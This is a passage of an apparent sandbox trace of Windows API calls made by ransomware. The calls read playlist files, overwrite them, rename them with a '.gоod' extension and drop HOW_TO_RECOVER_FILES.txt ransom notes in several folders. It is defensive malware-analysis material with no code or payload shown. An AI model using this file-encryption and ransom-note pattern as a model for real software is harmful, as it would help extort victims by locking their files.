hFile=0x768, lpBuffer=0x3d2f340*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x3d2f340*, lpNumberOfBytesWritten=0x207eb078*=0x430, lpOverlapped=0x0) returned 1 [0255.015] CloseHandle (hObject=0x768) returned 1 [0255.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl", lpFilePart=0x0) returned 0x63 [0255.016] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl.gоod", lpFilePart=0x0) returned 0x68 [0255.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0255.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\10_all_music.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x9436e0db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x430)) returned 1 [0255.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0255.055] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\10_all_music.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\10_All_Music.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\10_all_music.wpl.gоod")) returned 1 [0255.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl", lpFilePart=0x0) returned 0x66 [0255.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0255.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\11_all_pictures.wpl"), fInfoLevelId=0x0, lpFileInformation=0x3b21ff0 | out: lpFileInformation=0x3b21ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x249)) returned 1 [0255.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0255.057] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl", lpFilePart=0x0) returned 0x66 [0255.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0255.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\11_all_pictures.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.058] GetFileType (hFile=0x834) returned 0x1 [0255.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0255.058] GetFileType (hFile=0x834) returned 0x1 [0255.058] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x249 [0255.058] ReadFile (in: hFile=0x834, lpBuffer=0x3b22578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x3b22578*, lpNumberOfBytesRead=0x207eb168*=0x249, lpOverlapped=0x0) returned 1 [0255.058] CloseHandle (hObject=0x834) returned 1 [0255.085] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl", lpFilePart=0x0) returned 0x66 [0255.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0255.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\11_all_pictures.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.267] GetFileType (hFile=0x834) returned 0x1 [0255.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0255.267] GetFileType (hFile=0x834) returned 0x1 [0255.267] WriteFile (in: hFile=0x834, lpBuffer=0x3ad0140*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x3ad0140*, lpNumberOfBytesWritten=0x207eb078*=0x250, lpOverlapped=0x0) returned 1 [0255.267] CloseHandle (hObject=0x834) returned 1 [0255.267] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl", lpFilePart=0x0) returned 0x66 [0255.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl.gоod", lpFilePart=0x0) returned 0x6b [0255.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0255.268] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\11_all_pictures.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x945d05f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x250)) returned 1 [0255.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0255.268] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\11_All_Pictures.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\11_all_pictures.wpl.gоod")) returned 1 [0255.269] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl", lpFilePart=0x0) returned 0x63 [0255.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0255.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\12_all_video.wpl"), fInfoLevelId=0x0, lpFileInformation=0x3ad1490 | out: lpFileInformation=0x3ad1490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x437)) returned 1 [0255.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0255.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl", lpFilePart=0x0) returned 0x63 [0255.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0255.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\12_all_video.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.270] GetFileType (hFile=0x834) returned 0x1 [0255.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0255.270] GetFileType (hFile=0x834) returned 0x1 [0255.270] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x437 [0255.270] ReadFile (in: hFile=0x834, lpBuffer=0x3ad1bf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x3ad1bf0*, lpNumberOfBytesRead=0x207eb168*=0x437, lpOverlapped=0x0) returned 1 [0255.271] CloseHandle (hObject=0x834) returned 1 [0255.300] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl", lpFilePart=0x0) returned 0x63 [0255.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0255.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\12_all_video.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.301] GetFileType (hFile=0x834) returned 0x1 [0255.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0255.301] GetFileType (hFile=0x834) returned 0x1 [0255.301] WriteFile (in: hFile=0x834, lpBuffer=0x3b4a828*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x3b4a828*, lpNumberOfBytesWritten=0x207eb078*=0x440, lpOverlapped=0x0) returned 1 [0255.302] CloseHandle (hObject=0x834) returned 1 [0255.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl", lpFilePart=0x0) returned 0x63 [0255.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl.gоod", lpFilePart=0x0) returned 0x68 [0255.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0255.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\12_all_video.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x9461cb2c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x440)) returned 1 [0255.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0255.302] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\12_all_video.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\12_All_Video.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\12_all_video.wpl.gоod")) returned 1 [0255.303] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207eae80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0255.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb3a0) returned 1 [0255.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0255.572] GetFileType (hFile=0x8a4) returned 0x1 [0255.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb310) returned 1 [0255.576] GetFileType (hFile=0x8a4) returned 0x1 [0255.576] WriteFile (in: hFile=0x8a4, lpBuffer=0x3bc6578*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207eb468, lpOverlapped=0x0 | out: lpBuffer=0x3bc6578*, lpNumberOfBytesWritten=0x207eb468*=0x5d0, lpOverlapped=0x0) returned 1 [0255.577] CloseHandle (hObject=0x8a4) returned 1 [0255.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x62 [0255.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebdd0) returned 1 [0255.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0255.577] GetFileType (hFile=0x8a4) returned 0x1 [0255.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebd40) returned 1 [0255.577] GetFileType (hFile=0x8a4) returned 0x1 [0255.578] WriteFile (in: hFile=0x8a4, lpBuffer=0x3bcb588*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ebe98, lpOverlapped=0x0 | out: lpBuffer=0x3bcb588*, lpNumberOfBytesWritten=0x207ebe98*=0x5d0, lpOverlapped=0x0) returned 1 [0255.578] CloseHandle (hObject=0x8a4) returned 1 [0255.579] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ec2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0255.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec800) returned 1 [0255.579] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0255.579] GetFileType (hFile=0x8a4) returned 0x1 [0255.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec770) returned 1 [0255.579] GetFileType (hFile=0x8a4) returned 0x1 [0255.580] WriteFile (in: hFile=0x8a4, lpBuffer=0x3bd0a28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ec8c8, lpOverlapped=0x0 | out: lpBuffer=0x3bd0a28*, lpNumberOfBytesWritten=0x207ec8c8*=0x5d0, lpOverlapped=0x0) returned 1 [0255.581] CloseHandle (hObject=0x8a4) returned 1 [0255.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0255.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", lpFilePart=0x0) returned 0x4b [0255.581] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0255.581] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.582] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.582] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0255.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0255.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0255.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0255.582] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", lpFilePart=0x0) returned 0x4b [0255.582] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0255.582] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.582] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.582] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0255.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0255.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0255.583] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ec2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x64 [0255.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec800) returned 1 [0255.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\transcoded files cache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0255.583] GetFileType (hFile=0x8a4) returned 0x1 [0255.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec770) returned 1 [0255.583] GetFileType (hFile=0x8a4) returned 0x1 [0255.584] WriteFile (in: hFile=0x8a4, lpBuffer=0x3be1f30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ec8c8, lpOverlapped=0x0 | out: lpBuffer=0x3be1f30*, lpNumberOfBytesWritten=0x207ec8c8*=0x5d0, lpOverlapped=0x0) returned 1 [0255.584] CloseHandle (hObject=0x8a4) returned 1 [0255.584] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, 